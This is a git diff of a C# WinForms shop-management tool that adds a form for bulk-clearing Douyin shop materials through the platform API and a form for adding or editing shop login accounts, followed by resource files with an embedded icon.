shop.LoginStatus); + else + { + row.Cells["colAuthStatus"].Value = shop.ApiAuthStatus; + } + } + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + LoadShops(); + } + + private void MaterialManageForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible) + LoadShops(); + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string colId = dgvShop.Columns[e.ColumnIndex].Name; + if (colId == "colSelect") + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + } + } + + private void btnGetProductCount_Click(object sender, EventArgs e) + { + var lstShopId = dgvShop.Rows.Cast() + .Where(r => r.Cells["colSelect"].Value.ParseToBool()) + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要获取素材的店铺"); + return; + } + this.btnGetProductCount.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"]?.Value)) + row.Cells["colMessage"].Value = ""; + } + Task.Run(() => + { + GetShopMaterial(); + + Invoke(new Action(() => + { + btnGetProductCount.Enabled = true; + BaseMsgForm.ShowInfo("素材获取完成"); + })); + }); + } + + void GetShopMaterial() + { + } + + private void splitContainer1_Panel1_Paint(object sender, PaintEventArgs e) + { + + } + + private void btnClear_Click(object sender, EventArgs e) + { + var lstShopId = dgvShop.Rows.Cast() + .Where(r => r.Cells["colSelect"].Value.ParseToBool()) + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要清理素材的店铺"); + return; + } + + this.btnClear.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"]?.Value)) + row.Cells["colMessage"].Value = ""; + } + + int n = 0; + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + var shopList = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && lstShopId.Contains(s.ShopAccountId)); + foreach (var shop in shopList) + { + DataGridViewRow row = null; + + this.Invoke(new Action(() => + { + n++; + var total = lstShopId.Count(); + + this.statusBar.lblTaskStatus.Text = "正在清理素材..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = "正在获取素材文件夹"; } + })); + + if (shop.PayStatus != 1) + { + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "当前为试用版,请购买专业版"; })); } + goto operateEnd; + } + + List folderIds = new List(); + for (int page = 1; page < 9999; page++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "获取素材文件夹中断"; })); } + goto operateEnd; + } + + var folder = new UploadMaterialBLL().GetApiMaterialFolder(shop, "0", 50, page, 1, + this.dtBaginTime.Value.ToString("yyyy-MM-dd HH:mm:ss"), this.dtEndTime.Value.AddDays(1).ToString("yyyy-MM-dd HH:mm:ss")); + if (!folder.Contains("\"code\":10000")) + folder = new UploadMaterialBLL().GetApiMaterialFolder(shop, "0", 50, 1, 1, + this.dtBaginTime.Value.ToString("yyyy-MM-dd HH:mm:ss"), this.dtEndTime.Value.AddDays(1).ToString("yyyy-MM-dd HH:mm:ss")); + Thread.Sleep(500); + if (folder.Contains("\"code\":10000")) + { + var JObj = AllBase.JsonHelper.JObjectParse(folder); + if (JObj?["data"]?["folder_info_list"] != null) + { + if (JObj?["data"]?["folder_info_list"].Count() == 0) + break; + + foreach (Newtonsoft.Json.Linq.JObject j in JObj?["data"]?["folder_info_list"]) + { + folderIds.Add(j["folder_id"]?.ToString()); + } + } + else + break; + } + } + + this.Invoke(new Action(() => + { + if (row != null) { row.Cells["colMessage"].Value = "正在删除素材文件夹"; } + })); + string deleteIdStr = ""; + foreach (var folderid in folderIds) + { + if (cancellationTokenSource.IsCancellationRequested) + { + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除素材文件夹中断"; })); } + goto operateEnd; + } + deleteIdStr += "\\\"" + folderid + "\\\","; + if (folderid == folderIds.LastOrDefault() || deleteIdStr.TrimEnd(',').Split(',').Count() == 20) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("folder_ids", "[" + deleteIdStr.TrimEnd(',') + "]"); + string html = api.MaterialDeleteFolder(); + Thread.Sleep(500); + // {"code":10000,"data":{"failed_map":{},"success_ids":["70344526568442923861819","70673777705522138001819","70677148692769999721819","70682264025747458561819","70684999170644871991819","70689259618189970281819","70696976534408563231819","70700172511513316241819","70703300876101225031819","70707122616226450031819","70711553799834012461819","70722448124932426591819","70726708088621960061819","70752688859723205501819","70763331833771133521819"]},"err_no":0,"log_id":"20220326131033010212035232207F377B","message":"success","msg":"success","sub_code":"","sub_msg":""} + if (html.Contains("\"code\":10000")) + { + if (!html.Contains("\"failed_map\":{}")) + { + AllBase.LogSave.AddFile(html); + } + //AllBase.FileBase.AppendAllText("material_failed_log_" + DateTime.Now.ToString("yyyyMMdd") + ".txt", html + "\r\n"); + } + else + { + } + deleteIdStr = ""; + } + } + + this.Invoke(new Action(() => + { + if (row != null) { row.Cells["colMessage"].Value = "素材文件夹删除完成"; } + })); + Thread.Sleep(2000); + + + // 删除根目录素材文件 + this.Invoke(new Action(() => + { + if (row != null) { row.Cells["colMessage"].Value = "正在获取根目录素材文件"; } + })); + + List MaterialIds = new List(); + for (int page = 1; page < 9999; page++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "获取根目录素材文件中断"; })); } + goto operateEnd; + } + + var Material = new UploadMaterialBLL().GetApiMaterial(shop, "0", 100, page, 1, + this.dtBaginTime.Value.ToString("yyyy-MM-dd HH:mm:ss"), this.dtEndTime.Value.AddDays(1).ToString("yyyy-MM-dd HH:mm:ss")); + if (!Material.Contains("\"code\":10000")) + Material = new UploadMaterialBLL().GetApiMaterial(shop, "0", 100, page, 1, + this.dtBaginTime.Value.ToString("yyyy-MM-dd HH:mm:ss"), this.dtEndTime.Value.AddDays(1).ToString("yyyy-MM-dd HH:mm:ss")); + Thread.Sleep(500); + if (Material.Contains("\"code\":10000")) + { + var JObj = AllBase.JsonHelper.JObjectParse(Material); + if (JObj?["data"]?["material_info_list"] != null) + { + if (JObj?["data"]?["material_info_list"].Count() == 0) + break; + + foreach (Newtonsoft.Json.Linq.JObject j in JObj?["data"]?["material_info_list"]) + { + MaterialIds.Add(j["material_id"]?.ToString()); + } + } + } + } + + this.Invoke(new Action(() => + { + if (row != null) { row.Cells["colMessage"].Value = "正在删除根目录素材文件"; } + })); + string deleteMaterialIdStr = ""; + foreach (var materialId in MaterialIds) + { + if (cancellationTokenSource.IsCancellationRequested) + { + if (row != null) { Invoke(new Action(() => { row.Cells["colMessage"].Value = "删除根目录素材文件中断"; })); } + goto operateEnd; + } + deleteMaterialIdStr += "\\\"" + materialId + "\\\","; + if (materialId == MaterialIds.LastOrDefault() || deleteMaterialIdStr.TrimEnd(',').Split(',').Count() == 100) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData.Add("material_ids", "[" + deleteMaterialIdStr.TrimEnd(',') + "]"); + string html = api.MaterialDeleteMaterial(); + Thread.Sleep(500); + if (html.Contains("\"code\":10000")) + { + if (!html.Contains("\"failed_map\":{}")) + { + AllBase.LogSave.AddFile(html); + } + } + else + { + } + deleteMaterialIdStr = ""; + } + } + + this.Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colMessage"].Value = "素材文件夹删除完成"; } + })); + Thread.Sleep(2000); + + + + + + + //var xx = new UploadMaterialBLL().GetApiMaterial(shop, "70771032852027148841819", 50); + } + + operateEnd: + Invoke(new Action(() => + { + btnClear.Enabled = true; + if (cancellationTokenSource.IsCancellationRequested) + BaseMsgForm.ShowInfo("清理素材中断"); + else + BaseMsgForm.ShowInfo("清理素材完成"); + })); + }, cancellationTokenSource.Token); + + } + + private void btnStop_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.resx b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.resx new file mode 100644 index 0000000..d0c96af --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/MaterialManageForm.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.Designer.cs new file mode 100644 index 0000000..d3afe19 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.Designer.cs @@ -0,0 +1,282 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class ShopAddEditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ShopAddEditForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.label7 = new System.Windows.Forms.Label(); + this.cmbGroup = new System.Windows.Forms.ComboBox(); + this.txtBuyAccount = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label6 = new System.Windows.Forms.Label(); + this.txtChatAccount = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label4 = new System.Windows.Forms.Label(); + this.txtUploadAccount = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label3 = new System.Windows.Forms.Label(); + this.txtShopPassword = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtLoginName = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.btnOk = new LittleRabbit.UserControls.ButtonEx(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.label7); + this.panel2.Controls.Add(this.cmbGroup); + this.panel2.Controls.Add(this.txtBuyAccount); + this.panel2.Controls.Add(this.label6); + this.panel2.Controls.Add(this.txtChatAccount); + this.panel2.Controls.Add(this.label4); + this.panel2.Controls.Add(this.txtUploadAccount); + this.panel2.Controls.Add(this.label3); + this.panel2.Controls.Add(this.txtShopPassword); + this.panel2.Controls.Add(this.label2); + this.panel2.Controls.Add(this.txtLoginName); + this.panel2.Controls.Add(this.label1); + this.panel2.Controls.Add(this.label5); + this.panel2.Controls.Add(this.btnOk); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(295, 285); + this.panel2.TabIndex = 1; + this.panel2.Paint += new System.Windows.Forms.PaintEventHandler(this.panel2_Paint); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.ForeColor = System.Drawing.Color.DarkGray; + this.label7.Location = new System.Drawing.Point(31, 214); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(164, 17); + this.label7.TabIndex = 384; + this.label7.Text = "登录密码为空表示不更新密码"; + this.label7.Visible = false; + // + // cmbGroup + // + this.cmbGroup.FormattingEnabled = true; + this.cmbGroup.Items.AddRange(new object[] { + "客服", + "采购", + "上货", + "数据", + "登录"}); + this.cmbGroup.Location = new System.Drawing.Point(91, 169); + this.cmbGroup.Name = "cmbGroup"; + this.cmbGroup.Size = new System.Drawing.Size(172, 25); + this.cmbGroup.TabIndex = 383; + // + // txtBuyAccount + // + // + // + // + this.txtBuyAccount.Border.Class = "CrumbBarBackgroundKey"; + this.txtBuyAccount.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtBuyAccount.Border.PaddingBottom = 2; + this.txtBuyAccount.Border.PaddingLeft = 2; + this.txtBuyAccount.Border.PaddingRight = 2; + this.txtBuyAccount.Border.PaddingTop = 2; + this.txtBuyAccount.Location = new System.Drawing.Point(91, 134); + this.txtBuyAccount.Name = "txtBuyAccount"; + this.txtBuyAccount.Size = new System.Drawing.Size(172, 23); + this.txtBuyAccount.TabIndex = 382; + this.txtBuyAccount.WatermarkText = "点击添加店铺子账户"; + this.txtBuyAccount.Click += new System.EventHandler(this.txt_Click); + this.txtBuyAccount.TextChanged += new System.EventHandler(this.txtBuyAccount_TextChanged); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(29, 137); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(56, 17); + this.label6.TabIndex = 381; + this.label6.Text = "采购账户"; + // + // txtChatAccount + // + // + // + // + this.txtChatAccount.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtChatAccount.Border.BorderLeft = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtChatAccount.Border.BorderRight = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtChatAccount.Border.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtChatAccount.Border.Class = "CrumbBarBackgroundKey"; + this.txtChatAccount.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtChatAccount.Border.PaddingBottom = 2; + this.txtChatAccount.Border.PaddingLeft = 2; + this.txtChatAccount.Border.PaddingRight = 2; + this.txtChatAccount.Border.PaddingTop = 2; + this.txtChatAccount.Location = new System.Drawing.Point(91, 99); + this.txtChatAccount.Name = "txtChatAccount"; + this.txtChatAccount.Size = new System.Drawing.Size(172, 23); + this.txtChatAccount.TabIndex = 380; + this.txtChatAccount.WatermarkText = "点击添加店铺子账户"; + this.txtChatAccount.Click += new System.EventHandler(this.txt_Click); + this.txtChatAccount.TextChanged += new System.EventHandler(this.txtChat_TextChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(29, 102); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 379; + this.label4.Text = "客服账户"; + // + // txtUploadAccount + // + // + // + // + this.txtUploadAccount.Border.Class = "CrumbBarBackgroundKey"; + this.txtUploadAccount.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtUploadAccount.Border.PaddingBottom = 2; + this.txtUploadAccount.Border.PaddingLeft = 2; + this.txtUploadAccount.Border.PaddingRight = 2; + this.txtUploadAccount.Border.PaddingTop = 2; + this.txtUploadAccount.Location = new System.Drawing.Point(91, 99); + this.txtUploadAccount.Name = "txtUploadAccount"; + this.txtUploadAccount.Size = new System.Drawing.Size(172, 23); + this.txtUploadAccount.TabIndex = 374; + this.txtUploadAccount.Visible = false; + this.txtUploadAccount.Click += new System.EventHandler(this.txt_Click); + this.txtUploadAccount.TextChanged += new System.EventHandler(this.txtUploadAccount_TextChanged); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(29, 102); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(56, 17); + this.label3.TabIndex = 373; + this.label3.Text = "上货账户"; + this.label3.Visible = false; + // + // txtShopPassword + // + this.txtShopPassword.Location = new System.Drawing.Point(91, 64); + this.txtShopPassword.Name = "txtShopPassword"; + this.txtShopPassword.PasswordChar = '●'; + this.txtShopPassword.Size = new System.Drawing.Size(172, 23); + this.txtShopPassword.TabIndex = 338; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(29, 67); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 337; + this.label2.Text = "登录密码"; + // + // txtLoginName + // + this.txtLoginName.Location = new System.Drawing.Point(91, 29); + this.txtLoginName.Name = "txtLoginName"; + this.txtLoginName.Size = new System.Drawing.Size(172, 23); + this.txtLoginName.TabIndex = 336; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(29, 32); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 0; + this.label1.Text = "登录账号"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(29, 172); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 377; + this.label5.Text = "店铺分组"; + // + // btnOk + // + this.btnOk.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOk.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOk.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOk.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOk.ForeColor = System.Drawing.Color.White; + this.btnOk.Location = new System.Drawing.Point(208, 209); + this.btnOk.Margin = new System.Windows.Forms.Padding(2); + this.btnOk.Name = "btnOk"; + this.btnOk.Size = new System.Drawing.Size(55, 26); + this.btnOk.TabIndex = 372; + this.btnOk.Text = "新增"; + this.btnOk.UseVisualStyleBackColor = false; + this.btnOk.Click += new System.EventHandler(this.btnOk_Click); + // + // ShopAddEditForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(297, 319); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ShopAddEditForm"; + this.Text = "添加店铺"; + this.TitleText = "添加店铺"; + this.Load += new System.EventHandler(this.ShopAddEditForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtShopPassword; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtLoginName; + private UserControls.ButtonEx btnOk; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.TextBoxX txtUploadAccount; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.Controls.TextBoxX txtBuyAccount; + private System.Windows.Forms.Label label6; + private DevComponents.DotNetBar.Controls.TextBoxX txtChatAccount; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.ComboBox cmbGroup; + private System.Windows.Forms.Label label7; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.cs b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.cs new file mode 100644 index 0000000..4428547 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.cs @@ -0,0 +1,121 @@ +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class ShopAddEditForm : LRBaseForm + { + DouShopLoginInfo shopLoginInfo = null; + bool isAdd = true; + + public ShopAddEditForm(DouShopLoginInfo shop = null) + { + InitializeComponent(); + shopLoginInfo = shop; + if (shopLoginInfo != null) + isAdd = false; + } + + private void btnOk_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.txtLoginName.Text.Trim())) + { + BaseMsgForm.ShowError("用户名不能为空!"); + return; + } + if (shopLoginInfo == null && string.IsNullOrEmpty(this.txtShopPassword.Text.Trim())) + { + BaseMsgForm.ShowError("密码不能为空!"); + return; + } + + if (shopLoginInfo == null) + shopLoginInfo = new DouShopLoginInfo(); + + shopLoginInfo.LoginName = this.txtLoginName.Text.Trim(); + if (!string.IsNullOrEmpty(this.txtShopPassword.Text.Trim())) + shopLoginInfo.Password = DataOpenSSL.EncryptString(this.txtShopPassword.Text.Trim()); + shopLoginInfo.Group = this.cmbGroup.Text; + this.OnSaveComplete(shopLoginInfo, isAdd); + this.Close(); + } + + private void panel2_Paint(object sender, PaintEventArgs e) + { + + } + + private void ShopAddEditForm_Load(object sender, EventArgs e) + { + this.cmbGroup.Items.Clear(); + this.cmbGroup.Items.Add(string.Empty); + foreach (var shop in GlobalConfig.DouShopLoginList) + { + if (!string.IsNullOrEmpty(shop.Group) && !this.cmbGroup.Items.Contains(shop.Group)) + this.cmbGroup.Items.Add(shop.Group); + } + if (shopLoginInfo != null) + { + this.txtLoginName.Text = shopLoginInfo.LoginName; + this.cmbGroup.Text = shopLoginInfo.Group; + this.btnOk.Text = "更新"; + this.TitleText = "编辑店铺 - " + shopLoginInfo.ShopAccount; + this.txtBuyAccount.Text = shopLoginInfo.BuyAccount; + this.txtChatAccount.Text = shopLoginInfo.ChatAccount; + this.txtUploadAccount.Text = shopLoginInfo.UploadAccount; + this.label7.Visible = true; + this.txtLoginName.Enabled = false; + } + else + { + this.txtBuyAccount.Enabled = false; + this.txtChatAccount.Enabled = false; + this.txtUploadAccount.Enabled = false; + this.txtBuyAccount.Text = this.txtChatAccount.Text = this.txtUploadAccount.Text = "请在编辑账户时修改子账户"; + } + } + + private void txtUploadAccount_TextChanged(object sender, EventArgs e) + { + + } + + private void txtChat_TextChanged(object sender, EventArgs e) + { + + } + + private void txtBuyAccount_TextChanged(object sender, EventArgs e) + { + + } + + private void txt_Click(object sender, EventArgs e) + { + SubAccountShopEditForm f = new SubAccountShopEditForm(shopLoginInfo); + f.SaveComplete += F_SaveComplete; + f.ShowDialog(); + } + + private void F_SaveComplete(object obj) + { + var shop = obj as DouShopLoginInfo; + if (shop != null) + { + this.txtBuyAccount.Text = shop.BuyAccount; + this.txtChatAccount.Text = shop.ChatAccount; + this.txtUploadAccount.Text = shop.UploadAccount; + } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.resx b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.resx new file mode 100644 index 0000000..c963c3c --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAddEditForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQYAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + 